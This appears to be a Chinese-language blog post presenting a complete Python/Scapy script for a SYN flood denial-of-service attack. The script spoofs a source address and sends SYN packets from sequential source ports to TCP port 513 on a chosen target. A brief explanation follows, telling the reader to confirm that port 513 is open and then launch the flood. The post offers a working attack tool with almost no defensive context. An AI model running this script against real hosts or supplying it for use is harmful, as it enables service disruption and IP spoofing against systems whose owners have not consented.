使用Scapy制造SYN洪泛攻击

#!/usr/bin/python
#coding=utf-8
from scapy.all import *
import optparse

def synFlood(src, tgt):
    # TCP源端口不断自增一,而目标端口513不变
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)

def main():
    parser = optparse.OptionParser('[*] Usage : ./synAttack.py -s <src address> -t <target>')
    parser.add_option('-s',dest='src',type='string',help='specify scr address')
    parser.add_option('-t',dest='tgt',type='string',help='target address')
    (options,args) = parser.parse_args()

    if (options.src == None) | (options.tgt == None):
        print parser.usage
        exit(0)

    src = options.src
    tgt = options.tgt

    synFlood(src, tgt)

if __name__ == '__main__':
    main()

使用Scapy制造一些再有TCP协议层的IP数据包,让这些包TCP源端口不断地自增一,而目的TCP端口513不变。

先确认目标主机开启了513端口,然后进行SYN洪泛攻击:



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值